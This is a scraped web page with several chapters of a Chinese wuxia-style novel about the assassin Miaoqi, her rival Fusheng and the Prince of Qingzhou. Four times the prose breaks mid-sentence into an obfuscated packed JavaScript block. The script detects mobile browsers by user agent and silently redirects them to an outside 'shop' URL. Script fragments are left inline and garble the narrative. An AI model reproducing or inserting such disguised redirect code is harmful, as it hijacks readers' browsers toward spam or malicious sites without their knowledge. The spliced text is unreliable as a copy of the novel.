;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317535|198990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 两个少女在月夜林间一路奔走,直到渺七跑回寺中,芙生才止步不前。 跑回僧院里时,应安正于月下练剑,应平原本坐在一旁指点,然渺七一回院他就猛地咳嗽声,似是教什么呛到。 应安为此又大笑一番,一边挥剑一边向应平讲述渺七剃头一事,绘声绘色到像是亲眼见她剃掉头发似的,渺七在一旁站上会儿,直到呼吸平稳才一语不发回房中去。 翌日一早,渺七难得没教应安吵醒,她只当他又被撵去做别的什么事,却不想一推房门就见他坐在廊前竹阶上,非但没有像恶犬那样叫,还回过头来朝她一笑。 “……” 有些奇怪。渺七不明所以,只默默走过他。 应安即刻追上,随她坐到桌边用早斋,一面还从怀中掏出团绿油油的叶片,摊开来献殷勤:“这是我清早从其他香客那儿要来的桑葚,你吃么?” “多谢。” 二人相识有些时日,这时应安破天荒地从渺七嘴里得了句谢,不免瞠目,随后忙道:“不谢不谢!说谢岂不见外……” 渺七因心不在焉,未将他的话放在心上,只顾吃桑葚,应安则因此越发笃定昨日他大肆嘲笑惹恼了她,故而急得抓耳挠腮,憋了半日,总算憋出句话来:“谢仲孝,其实你的脑袋怪圆的,哈哈。” “……” “……”应安埋下头,“好罢,昨日是我笑得太大声,你莫恼我。” 渺七看看他,这才明白为何他这般模样,便说:“我没生气。” “那昨夜你为何一声不吭回房去?” “因为我有心事。” 她说得坦然,饶是应安也难得一见地哑口无言,最后挠了挠额说:“既如此,那我今日就不缠着你打架了。” “要打,等我吃完就打。” “……” 他们山里人都这般让人捉摸不透吗? 渺七说打就打,这早拉着应安打了足足一个时辰,应安功夫本就不及她,招架下来已然累得往裴皙背后躲,央求道:“王爷,谢仲孝疯了!快叫他收手罢。” 这等架势,就算他有意赔礼道歉也招架不了。 裴皙一早就坐来松下烹茶观剑,早些时候便斟好两杯茶为二人晾下,这时应安求救,他索性顺水推舟招呼二人停下,渺七这才收剑,与应安一同喝茶去。 “多谢王爷!” 应安谢过,坐下捧起茶杯,再看渺七,她已经饮起茶来,他边歇气边闲不下来地问:“谢仲孝,你怎么忽地有了心事?分明昨儿傍晚都还好好儿的。”一边还抱有一丝狐疑,“你当真不是恼我么,方才可是半点儿也不让着我。” 渺七忍不住偏头看他眼,认真道:“让了。” 应安呛上一口,嘟囔:“好生无情。” 裴皙听罢二人对话,不免也几多好奇,看向渺七问:“你有何心事?” 渺七放下茶盏,也望向裴皙,眼眸中夹杂着一丝令人不解的困惑,望了许久,终究什么也没能说。 她不明白,不明白那种从她昨夜见到芙生起便萦绕在心间的感觉究竟是什么。 8. 〇八 据行明说,渺七患上的许是一种伤春症,逢春去每每伤感,虽唐人道春归山寺,但山寺到底也难留春日,如今恰值别离之际,想来是忆起往日山居之事,感到不舍才徒生感伤。 应安听后觉得此说颇有道理,便想为渺七寻些乐子,然而佛寺清净之地不容放肆,应安思来想去,好算是在这日傍晚想到个主意,因向渺七提议:“谢仲孝,明儿一早我们去登山如何?” “我们就在山上。” “非也非也,泰山之高,岂是登至灵应寺就止步的,泰山胜景你可见过?” 渺七是惯见蓬莱仙山的人,并不觉得山色有何稀奇,故一口回绝:“不去。” 一片良苦用心教人糟蹋,应安气得直拿额头撞桌,渺七对此视若无睹,反而是盯着裴皙看。 自从早间裴皙询问渺七未果后,他便时时以一种探究目光瞧她,此刻更是一副似笑非笑模样,渺七再也忍耐不住,直言问:“你为何总是看我?” 口吻浑然没有一个做侍从的自觉,应安停下撞头,也跟着看向裴皙。 裴皙微微一笑,却顾左右而言他:“应安提议甚好,此次来灵应寺还未好生走走,离开前登回山倒也不错。” 应安经他一夸,不禁飘飘然,连初衷也忘却,转朝渺七道:“那明日我们都登山去,你就留在寺里歇着罢。”说着又飞身往外去,“我去和行明说,邀他同去,再顺道替他向慧臻讲主告个假。” 渺七当下一语不发,好像真不打算去似的,然而翌日一早她便蹲在院外相候,待众人出行,她也跟随他们一同出了山寺,踏上山路。 一行五人,只她与裴皙两手空空,应家兄弟各背一摞物什负重而上,行明也背一箱笼,不知装着些什么。 晨间岚雾未散,深林静谧,渺七走在路上倦怠打上个哈欠,气势颇足,夜宿林中的栖鸟都因此惊飞。 振翅声中,一枚雪白的小馒头送到渺七嘴边,渺七眼也不睁,以嘴接过大快朵颐起来,应安便从旁笑出声:“谢仲孝你当真有意思,若是拿只虫子放嘴边你也吃吗?” 渺七惫懒,并不睬他,只听应安嘟囔两声后就没了动静。 未几,另有一道脚步声靠近,身侧随即传来淡淡的药香与一道人声:“昨夜做了什么?” 渺七闻声终于掀起眼皮,见前路上应安与行明一处走着,认真想了想,回答说:“看了许久的月亮。” 话自是假话,昨夜她与人打了整整一夜的架。 她原以为整日同裴皙等人待在一处便能避开芙生的追袭,岂知芙生趁夜偷袭,她恐惊扰了裴皙,只好同她奔至林间打斗,打了整整一夜也未分出胜负,非但如此,芙生还对她极尽嘲讽,这让她很是烦闷。 “赏月,倒颇有意趣。”裴皙如是点评道。 “……” 渺七因这话又有些烦闷,不过裴皙忽又说:“昨日你问我为何总是看你,我因应安在,不曾答你,眼下倒是方便作答。” 一番话引得渺七扭过头看他,只见裴皙目视前路,接着道,“我时时瞧你,是因为自从听说你有心事后,我便好奇不止。” “为何?” “因为我原以为你是个不会有心事的人。” “为何?” “……”裴皙终于转头对上她困惑的双眼,不答反问,“你又为何这般不安?” 渺七仍旧困惑不解,就仿佛她不知何谓不安一般,然后她说:“我只是心烦。” 昨夜打架时她便想到,她前夜见到芙生后生出的那种情绪就和当初初到千矶岛时一般,而那样的情绪或许便是心烦。 “那因何心烦?” 渺七皱眉:“我不明白。” “不明白?什么不明白?” 口吻温和,好似循循善诱,故而渺七虽不耐烦,但还是顺着这话思索了许久,而最后竟真像是想明白了些什么,回答说:“什么都不明白。” 说得笃定,还理直气壮,裴皙不禁微微扬起嘴角,顿了顿才说:“那不妨随意与我说上一二不明白,也好让我不必太过好奇。” 渺七便再次转过头看他,默了默说:“不明白今日你为何这般话多。” “……” 裴皙偏头,见得那双澄澈的眼睛也在看他,注视上两瞬后,收回目光不再言语。渺七乌溜溜的眼则还望着他,眨了眨,默默随之前行。 林间古树势若烟云,日出之后岚雾蒸散,绿意清透。 行至一处,山路遽陡,几人便鱼贯而行,脚下苍藓满径,其旁岩壁之上亦莓苔遍布。渺七走在裴皙身后,只低头看路,半分景致不赏,是以裴皙驻足时她险些撞上他,好在止步及时。 困惑仰头时,裴皙已侧过身,抬头观望起岩壁。 渺七有样学样也跟着抬头,只见岩壁之上,数十尊石佛坐卧于途,佛身皆布满青苔,或有绿蔓缠绕,佛像或喜或哀,或怒或痴。 渺七不由得看痴,伸手探向面前一尊佛。 石佛端坐,眯眼而笑,即便青苔满面也未掩神貌。渺七摸摸它绿茸茸的眉眼,又触碰下它圆润的面颊,似乎是觉得有趣,久久没收回手来。 裴皙若有所思地瞧着她,等她收回手,方才缓缓前行几步。 此后沿途而上,渺七不再低着头走,而是偏着脑袋,每经一尊石佛都好奇瞧上几眼,直到另一尊佛吸引她逗留。 石佛蜷缩在地,但仰面朝天,面容狰狞,口若血盆。 渺七久久望着,末了忽地伸出右手,探进那空空的绿口之中。手像是被吞没,失去知觉,渺七转头,一副忘记早先她还出言冒犯青州王的模样,问停在前方的裴皙道:“佛也会痛吗?” 裴皙也伸出手,修长的手指轻轻落到石佛眉心,回答说:“佛本无相,此乃众生相,众生苦则石佛苦。” 渺七听后将手抽出,目光则停在那只还落在石佛眉心、似要抚平其苦痛的手上。 “我见过像这石佛的人。”她冷不丁说道,说话间骤然卷起右臂衣袖,露出臂上一道旧伤痕给裴皙看,“我还教那人咬过。” 裴皙看着那圈淡淡的齿痕,也收回手,问她:“为何说与我?” 渺七放下衣袖,不语也不解,过了许久才想到什么,回他:“也许我觉得你会说别的话。” 而不是这一句。 至于究竟该说哪句,渺七也不明白。 渺七又不想再看那些石佛,之后再度专注看脚下山路。 走过窄径,复至宽途,一行人途遇一山房,一樵夫,此外便只见山鸡飞鸟蝴蝶,及至日中将至,众人才寻至山溪旁一空地席地而坐。 老柏婆娑,树影轻动,渺七彻夜未眠,倚在树上不久便昏昏睡去,不知睡了多久,一股饭香袭来,渺七不觉食指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317536|198990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻颤,随后睁开双眼。 “哈哈,我就说这样能叫醒他。”应安托着碗米饭,扭头冲行明说。 渺七无言端过他手中米饭,应安手一空,回头看她,颇为嫌弃道:“好没出息,一碗米饭也抢,今日有得是吃的。” 渺七越过他肩头看去溪畔,裴皙正坐在一堆火跟前烹茶,身侧堆有一摞小松枝,应平面前则燃着两堆火,一堆火上架两只山鸡与几条肥鱼,另一堆火上则悬一口小锅,似在煮汤,另有一口锅安然放在一侧,锅旁摞起饭碗,正是煮好的米饭。 “怎样?那两只山鸡可都是我抓到的,可惜有人只顾睡觉没见着我英姿。” “你头上有草。” 应安伸手抓了抓,果真抓到一根,讪笑:“意外。”说完扭头看行明,怨他这许久不曾提醒他,行明只回他一声阿弥陀佛。 “行了,来吃饭。” 应平一声令下,渺七率先抱着饭碗前去,一顿饱餐之后,再饮一杯青州王所烹之茶,接着便十足惬意地伸个懒腰,往席上一躺,又睡起来。 没人再提登山之事,只在溪畔走动。 应平揪着应安去溪边刷锅碗,应安敢怒不敢言,只弱弱说几句谢仲孝的不是,道她好逸恶劳、没大没小,应平则只维持一贯的沉默。行明亦寻一块山石打起坐,唯有裴皙显得无所事事,闲步走去上游,坐弄流泉。 不多时,应平走来他身旁,低声禀话道:“王爷,山寺后确有打斗痕迹,是属下失职。”他来的路上按裴皙的嘱咐细细查看了翻,的确发现些乱糟糟的打斗痕迹。 “人并非冲我来,何谈失职?”裴皙远远望向席上安睡之人,平静道,“今夜多加留意便是。” “是。”应平欲言又止一番,到底还是开口,“王爷,当真不必提防谢仲孝吗?” 裴皙捧一抔山泉在手心,任由泉水缓缓钻出指缝,而后说:“我来提防即是。” 应平唯有应下,同样转头看席上之人,结果却见应安蹲在其旁,难藏使坏心思。 “……” 这般没心没肺,也不知几时才长大。 渺七酣睡许久,最后是教一阵鼾声惊醒,睁眼时,一蒲团正正挡在面前,她便抬掌推倒蒲团。 鼾声骤停,不过片刻后又接着响起,渺七坐起身来,这才知晓刚刚是蒲团压到了应安,不知什么时候他竟也酣然睡到她身旁。 渺七还未想明白哪里来的蒲团,就听身后传来道人声:“睡醒了?” 正是今日话很多的青州王,渺七抬手摸了摸脸上的红斑,然后回头望去。 裴皙并未瞧她,而是手握羽箭朝前一掷,箭落到投壶之外,他便再取一支掷出,结果仍旧投在壶外。 渺七眼睁睁见他投了几支,尽数没中,终于忍不住上前去拾起投壶四周散落的箭支,然后再走到裴皙身侧,取出一支随手一掷。 投壶空响声,羽箭落在壶中轻旋一圈,静静倚在投壶边缘。 渺七投完扭头看看裴皙,将余下羽箭一并交还给他。 裴皙弯了弯嘴角,接过后也信手一掷,这次正中壶心,渺七不觉又看他一眼,裴皙则接连投出三支,支支命中,渺七这才迟钝皱眉,而裴皙这时戏谑道:“有劳赐教,不过适才是在练习如何不中。” “……” 渺七想,她可能有些生气,虽然她似乎没道理生气。 9. 〇九 “渺七。” “嗯?” “若真有那么一日能离了玄霄,你会做什么?” “不知道。” “那去往何处?” “也不知道。” “没出息……若是我,便到江湖游历,哪日累了就寻个好地方开间旅店做掌柜的。” “你有钱开店吗?” “开间黑店不就有了?” “……” 是夜月明星稀,渺七和衣躺在竹榻上,伸手接那照进窗内的月光。她在等芙生,昨夜她们没有分出胜负,她料定今夜她还会前来。 等待间,渺七回想起从前在千矶岛时她们曾在某个夜晚有过这样一段谈话。 离开海岛那日,她曾同韩仲孝说要去往江湖,然那并非她所想,那只是她从芙生嘴里移花接木而来。 至于她想做些什么,芙生曾说她行事从来都只凭一时又一时的灵感。 可灵感又从何而来呢?她前来寻裴皙也是凭灵感行事吗? 夜鸟惊飞过屋檐,渺七登时翻身坐起。欲从后窗翻出,却瞥见黑影从前窗闪过,故旋即转向前门,推门而出。 庭院空寂,月光空明,渺七借古松之势登至墙上,沿墙脊屋檐夜奔,待她追到山寺后,林间已有刀剑相撞声传来,循声跟去,竟见芙生已跟一人打得难解难分。 渺七悄无声息攀至树上观望。 树下二人只顾打斗,皆不言语,渺七跟随二人踪迹,如鸟般在树间穿梭攀移。 夜色模糊,渺七看上许久才发现与芙生交手之人并非应平,而是一位她在寺中见过数面的香客,她这才后知后觉反应过来寺中还有不少裴皙的人。 不过倒并不意外,青州王出门在外又怎会只有两个侍从相伴? 这般想着,一道银光忽忽闪过,一枚银镖扎来脚下树干上。 芙生擅使剑,也善使暗器,通常情况下暗器只在她保命之时使出,但今日情势并不危急,她使出银镖似乎只是因为她不欲与此人纠缠,只见她先后使出几支银镖,再趁那人闪躲之际转身跑去,毫无恋战之心。 见此招颇为眼熟,渺七不由得在树上眨眨眼睛。 树下男子亦不再追赶,转身回寺内,渺七则在林中待上会儿才慢悠悠踱回寮院,一边想今晚倒是能睡个安稳觉。 不过刚钻进洞门,就见庭中一人独坐月下,身披月色长袍,抬眼朝她看来。 见她从外面归来,裴皙好似并不惊讶,反似调侃般问起:“又去外面赏月?” 渺七点点头,没有半分心虚地走进院内。 “可曾听到什么动静?” 渺七又不假思索摇摇头。 裴皙遂不再问,静默会儿,无言起身朝屋中去,只掩门时朝她叮嘱句:“早些睡罢,明日一早便登程回青州。” 渺七又点点头,心安理得地回屋大睡。 - 几头小毛驴在山路上踏出哒哒声,驮着行囊走在下山队伍最前方,渺七则挎着她仅有的小包袱跟在人群最末端,啃着馒头。 告别灵应寺后,裴皙身旁便凭空多出一群随行之人,渺七始才觉得他变成个王爷。 许是变回王爷之故,今日之青州王极少开尊口,就连应安都不曾聒噪,只随应平跟在裴皙左右,好不陌生地板着面孔。 因此,吃完馒头的渺七突然感到一阵乏味,索性朝石阶上一坐,目送众人消失在山道上。 石阶的苔痕间有只蝼蚁钻出,渺七见后,低低埋首,引蝼蚁爬到适才摘来的绿叶之上,再托起叶片仔细看它。 蝼蚁环绕叶片边缘徘徊几遭,终于爬到渺七手指上,再沿着指节爬到她手背上。 微微的酥痒感令渺七皱眉,然后她用力甩甩手。 蝼蚁坠地,晕晕乎乎地兜上几圈,再才重新爬开,却已然不是最初的方向。 是她主宰了它的方向。 那她又由什么主宰? “怎么,他们不要你了?” 熟悉的嘲讽声响起,渺七看去山道旁,芙生远远立在林间。渺七没有回应她,芙生走近几步,又朝她道,“跟我走。” 难得一副有商有量的模样,没有一见面就拔剑相向,渺七仰面看看她,好一会儿才说:“我不想回去。” 芙生经久不语,最后又上前几步,坐至渺七身侧,问道:“那为何落在后面?跟着他们至少能绊住我。” “因为方才突然很无趣。” 芙生轻嗤声,意味不明。 渺七则接着问她:“你若抓不住我,回去复命会怎样?” “不知。” “那你说的新霄首是什么人?” “与你无关。” “与我无关为何要抓我?” “……”芙生语塞一阵,忽道,“渺七,你不该来寻他,你本可以去任何想去的地方。” 渺七想了想,而后慢吞吞道:“可我就想来寻裴皙。” “你——” 不待她说些什么,渺七先向她否认:“不是因为灵感。” “什么?”芙生似乎想问个究竟,但话未说完便骤然噤声,藏回林中前只留下一句话,“下次再见,我定会带你回去复命。” 至于这次为何作罢…… 芙生摸了摸怀中揣着的几支银镖。 暗器这种东西,耍着威风,但丢出手便没了,造支暗器不易,所以事后凡有机会,她都会捡回来。 昨夜等她折回林中时,她抛出的几支镖已教人收捡到一处,一如幼时她初习暗器时曾有人为她捡起暗器那般。 多管闲事。 渺七在芙生转身离开后看回山道上,蜿蜒山径上,应安拾阶而上,跑得气喘吁吁,见渺七安然坐于路上,大声喊道:“谢仲孝,你怎么坐在这儿?”跑到她面前停下,又问,“难不成你真想留下出家?” 渺七没有回应,只突然问应安:“下山时你为何一句话也不讲?” “嗯?”应安不解为何要问这事,不过变得有些赧然说,“自是学我大哥,你不觉得这样在人前很有气度么?” “不觉得。” 渺七依旧口吻憨直,说完起身向山下去。 应安大惊小怪叫嚷声,追上她却又赞同起这话:“其实是挺无趣的,但我在人前总想作伪一番,好让大哥觉得我已长大,他们总说我长不大,连我妹妹都这般说,你说可气不可气?” 说到此处,他一股脑向渺七倾诉起烦恼,虽渺七一句话也不应,但应安觉得此人就是在认真听。 二人走下山时,山下车马行李俱已整装待发,裴皙坐在马车中,此时轻卷车帘,侧头看向车外。 隔着车窗,渺七与他相视一眼,终于,整早未同她开尊口的青州王朝她道:“上车罢。” 她依言坐进马车,双眼定定瞧着裴皙,裴皙则只朝车外示意启程,其后便始终望着窗外景致。 渺七久等不到他回头,难得主动开口打破僵局:“你为何邀我同乘?” 裴皙似乎就等着她开口,总算转回目光,但也只是反问她:“下山时为何落在后面?” “我看见只蝼蚁,同它玩了会儿。” “……”裴皙便似往日那般笑了笑,但又有些许不同,似乎并不相信。 “真的。”渺七补充句。 “何故强调,你谢仲孝不是从不说谎吗?” 渺七眼也不眨地看他,像狗。 裴皙别开眼,从一旁的箱箧中取出一册书看。 车马轻晃,应安骑在马上,不时到车窗外晃两下,埋腰冲马车内二人傻笑,毫无气度可言,这时只消裴皙偏头看他眼,他便直起腰回车马队伍前引路。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317537|198990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 未几,车马行至野老庄,渺七才再度打破车中静谧:“我来时将马存在此地,我要去取马。” 裴皙便配合她命车马停下。 听闻她要去取马,应安少见多怪道:“什么,你竟有马?” 他只当此人无家可归,穷困潦倒,不想竟还有匹马,他欲随之同往,却遭回绝。 渺七独自前往寄马的农户家中,所见却是哆哆嗦嗦的农人,原是方才有人提剑破门,要挟他交出马匹,渺七无需多问也知是芙生所为,故空手折回。 应安因问她:“马呢?” 渺七走去应安的坐骑前,神情恹恹摸了摸枣红马的鼻子,回他:“不记得存在哪户人家了。” “……”应安语塞,回头看看道旁的马车,大气道,“无妨,你就乘马车,等回了青州我替你挑匹好马。” “不要。”渺七说话间一踩马镫,好不利落地跃至马背上,骑着马扬尘而去。 应安怔怔半刻,而后咬牙切齿叫道:“谢仲孝!你给我等着!” 话罢作势要上其他随从的马追赶,裴皙却适时打断他的恼怒:“应安,与我同乘。” “王爷!” “无妨,等回了青州我再替你挑匹好马。” “……” 应安虽闷闷不乐,却也不会同裴皙呛声,这时只压下满腔郁闷上车去,直到车马再度启程也没委屈够,忿忿道:“这人还真教人搞不懂,看着虽呆傻老实,却总胡来。” 裴皙不语,接着翻书。 应安看看他,忍不住问:“王爷,你待他为何这般好?” “我待你便不好吗?” “自然不是!只是我以往犯错,你会同我讲道理,但谢仲孝犯了错你从不说他。” “因为他这人说不得。” “嗯?”应按不解其意,想了想说,“其实也并非说不得,他虽乖僻了些,但偶尔说他他也听的。” 裴皙这时放下书册,问他:“你每日都教他气几番,为何还帮他说话?” “唔。”应安垂头思索,“我想他孤苦伶仃,身世可怜,所以待他宽容些,再说他还整日陪我练剑……”这般说着,又把自个儿说得有些生气,“但还是好生气人!” “嗯。” 裴皙应上声。 应安蓦地抬眼,难以置信般问:“王爷,您也觉得他令人生气吗?” “当然。” “那……您生他气了吗?” “自然。” 应安愣怔下,似乎还是头回听裴皙说生气。 谢仲孝当真是好大的能耐! …… 行至日正时分,车马队伍忽忽停下,应安从车中探头,欲问究竟,然后便瞧见路旁一棵老榕树下的人和马。 马儿正低头吃草,而渺七坐在树下揪草喂它,应安跳下车,走去一人一马身前,既不生气也不质问,只安抚般摸着自己的马。 渺七有些奇怪地看他,似不明白他为何不同她生气,不过这时裴皙也从马车上下来。 众人在此稍作歇息,随意用些干粮,渺七也分到块饼。 有东西吃,方才的疑惑便也抛之脑后,但应安还在她边上待着,笑嘻嘻好像打着什么坏主意,渺七状若未见。 直到她咬下一口饼,应安才冷不丁问起:“谢仲孝,你可知王爷在同你生气?” 渺七当下便教饼噎住,探出腰间水囊饮了口山泉才看向应安,疑问:“生气?” “可不是么,他亲口同我讲的。”应安说得莫名骄傲,“我还从未见他与谁生过气,果然你教人火大。” 渺七沉吟,不忘掰一块饼塞进嘴里嚼几下,然后再问:“那他如何生气的呢,我为何瞧不出?” “……” 应安哑口。 是啊,王爷如何生气的呢,他为何瞧不出? 10. 一〇 应安教渺七问得头脑一懵,不惜想难道王爷也会骗人吗,但转念便否定了这念头。 王爷怎会骗人,他说生气便定是生气,只不过他究竟是哪般生气的呢? 接下来的一路上应安始终疑惑着,疑惑了整整两日夜后,车马由济南府赶回青州府境内。 这日因日里遇上场急雨,沿途避了许久,故而日落前未能赶到驿馆,只好在郊外一旅店投宿。 旅店稍显破旧,外悬一张旧牌匾,上刻「金玉客栈」四字,随行之人进出旅店打点车马行囊,渺七却停在门外瞧上半天。 “怎么了?”应安问她。 “这里从前是间黑店。” 应安狐疑:“隐门中人也知这等事么?” “我也曾下过山,还在此地遭人坑骗过。” “竟有这等事?”应安笑话她一阵才问,“但你有一身功夫,岂怕了坑骗?” “那时我有事在身,没空计较。” “那后来呢,没有回来寻仇么?” 渺七摇摇头。那是她第一次外出执行任务,虽然从此处离开时还想着复仇,可完成任务后早已忘却此事。 “好罢,不过如今你大可放心,两年前王爷受封青州王,早将此地地痞流氓都清除干净。” “是吗?” “唔,应该是吧……反正那时候抓了好多坑蒙拐骗之人,不过若你此前早些来寻仇,岂不算是行侠仗义好事一桩?说不定就少许多人再受骗。” 渺七偏头看他眼,随后面无表情进店去。 “你什么眼神,与你讲道理呢!你不知我可想做这等事了,可惜没有机会。” 应安边说边追进店内,见渺七径直走到裴皙所在桌旁,顿时聚精会神—— 他还得再观察观察,倒要看看王爷是哪般生气的。 于是二人都坐至裴皙身边,裴皙坐在窗下,借最后的夕晖看手中书。 渺七静静候着,既静候旅店备好饭菜,也静候裴皙手中之书。 与他同乘两日间,渺七还发现件新鲜事,即裴皙这两日时时捧在手中的书竟是一部食单,他每日所看竟全是酥饼、杏酪、鸡鸭、豆腐…… 渺七扫到过几眼,很是好奇,天下竟还有这等书,她还从未见过,于是问裴皙几时读完,也好借她看看,而眼下似乎正是时候。 至于裴皙与她生气一事,渺七得知此事后当日便在马车上问了他缘故,裴皙只回她句,天知地知你知我知。 渺七不知,只当他没有生气,总归无有差别。 “啪——” 裴皙读完手中之书,合于掌中看看渺七,然后递出。渺七接过书,不待翻阅,又见他从旁拿起另一册书,上书「食珍录」三字。 渺七:“……” 原来不止一本可看。 裴皙微微一笑,道:“你只说借我手中书看,并未问起旁的。” “……” “……” 至此,渺七总算觉察出一丝此人生气与不生气的差别,至于应安,恨不得以头抢桌。 这算哪门子生气! 您还当真是活菩萨! - 回益都前,应安事先警告渺七了一番,告诉她回去后切不可在一位云公公面前肆意妄为。 云公公名云霆,早年东宫的随侍太监,如今青州王府的总管事。 提起此人,应安多少有些发怵,道:“云公公可不似王爷仁慈,你在他面前千万要谨言慎行,不然……算了,你见着他最好是一声不吱,假装没你这么个人。” “为何?” “什么为何,你贸然前来自荐,王爷本不该收留你,云公公对王爷身边的人又向来严格,若是知道他收留了个来路不明的人,还这般好逸恶劳没规没矩,定是不能留你的。” 应安言尽于此,至于渺七听不听得进去,便不是他能左右的事了。 归来这日渺七依旧与裴皙同乘,车马一进益都城门就停下,原是云霆在城门处等候。裴皙请人登车,车厢内一时间变作三人,渺七便坐在云霆对面,直直打量着他。 云霆瞧着约莫四十岁,但头发竟已花白,双眼之上覆有一条黑布,手中则拄着一根打磨精致的蛇杖,乃是眼盲之人的装束。 登车后,云霆微微侧头对着裴皙所在的方位,道:“舟车劳顿,王爷身体如何?” “无碍,只是车马慢行,让公公久等了。” 得知他们日暮归来,云霆一早就前来城门处等候,此时已经候了好几个时辰,但这几个时辰比起裴皙离开青州的两月余来,也仅仅只是无足轻重的几个时辰。 云霆似乎面露欣慰,然后转回头,仿佛还有一双完好的双眼那般直视渺七,问道:“不知阁下是?” 渺七造访过王府多次,也曾与这位云公公有过一面之缘。 此人似乎耳力极好,那时她才刚刚翻到墙头他就“看”了过来,故而纵使她如应安所说敛声静气,他也是能发现她的。 “阿弥陀佛,小僧行明。” 渺七面不改色回话,才说完便听裴皙笑了声,于是扭头看他。 云霆则回她:“原是行明师父,行明师父既同来青州,何以来信中只字未提?” “……” 渺七听出此人没有相信,便用一副闯了祸等人来收拾烂摊子的模样盯着裴皙,裴皙方才虽笑了声,神情却不及平日温和,渺七便知他是在生气。 这些日子下来,渺七似乎知晓裴皙与她生气的理由了。 应当是与芙生一致,觉得她骗了他。 生气归生气,这时裴皙还是出面道:“云公公,此人并非行明师父,乃是我新收的随侍,山人顽劣不懂规矩。” 云霆闻言神色未变,但口吻竟生硬起来:“王爷,昔日的教训您还没记下吗?” “此事并非公公所想那般,待回府后我再说与你听。” 裴皙说罢,此后一路上云霆再未说半个字,直到打道回府,二人下车一齐离开,应安才凑来渺七边上问:“如何?云公公可说了什么?” “没什么。” “罢了,这事晚些再说。”应安转眼笑起来,说,“咱们先去登天阁。” 应安一早便说要请渺七吃好吃的,这时两人将随身行李安置下,一齐溜出府去。 走至街头,应安一刻不歇地与渺七指指点点介绍着,俨然一副招待乡下穷亲戚的做派,不时有人招呼他一声,他便如孔雀般挺胸阔步,不过走着走着,一根筋猝不及防搭对地方,无端静下来,一面放缓脚步观察渺七,见她不必他引路也知该在哪个街口拐弯,终于停步不前。 “谢仲孝。” 渺七回头,对上少年狐疑的眼,问他何事。 应安原想质问她是不是在骗人,结果话到嘴边又吞了回去,只说一句:“没什么……就是你好像认得路。” “认得路怎么了?” “……”应安教她问住,心想也是,他下山来过府城也不足为怪,故挠挠头道,“走罢。” 登天阁位于府城最繁华之街市,来时楼内食客熙攘,应安将渺七带去阁楼上,大叫一桌吃食,顺便要来坛青州紫露,一边说:“难得今日有酒有肉,你我一醉方休如何?” “我不饮酒。” “唔,好吧。”应安也不觉扫兴,只叮嘱她,“那我若是饮醉,烦劳你带我回去,切记莫教大哥瞧见,我答应他不饮酒的。” 交谈间一伙计端来只挂卤鸭,低声邀功:“小应爷,隔壁桌李家公子要的鸭,特地先送来您这儿!” 应安打点他几文钱,等小伙计笑呵呵退下,回头看渺七,不觉纳罕:“你怎不吃?” “你每月几时领月俸?” 应安没想到渺七会问这么一回事,愣愣说:“若在府上,每月最后一日便能领,你若是缺钱找我借便是。” 渺七听罢又不理睬他,掰下只鸭腿吃,心下默默计算月底来临之时。 应安又气得磨牙:“谢仲孝,天下怎会有你这般失礼之人!”好心关心也置若罔闻,应安越想越气,便说,“祝管事定会扣你月俸的!” 关于此人,渺七也早有耳闻,无非是说他严苛且抠门这类话。她吃着鸭腿,嘴里鼓鼓囊囊,含糊回他:“王爷不会。” “……” 竟也学会用王爷来压人了,应安无话可驳,唯有斟一杯酒饮下。 托应安的福,渺七这日吃到肉足饭饱,但不曾想应安竟真醉过去,趴在桌上咕咕哝哝,黝黑面庞通红,渺七难得有吃人嘴短的觉悟,将人背在背上离开。 出登天阁时已是日沉之时,城中不知几时起刮起风来,积云换晴光。 渺七背着沉甸甸的一人,抄近道走,拐进一空巷走出一截,忽觉身后生风,遂背着应安往一旁闪身。 软鞭当即落空,不待她回头,软鞭又如劲风挥响,渺七向前窜几步,随手将应安丢在墙边的推车中,应安哼哼两声,寻了个舒适姿势酣睡去。 渺七回身,不远处赫然站着两人,一人正是芙生,肃然立在后方,前方那人则双目斜飞盈盈含笑,手握软鞭望着她。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317538|198990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 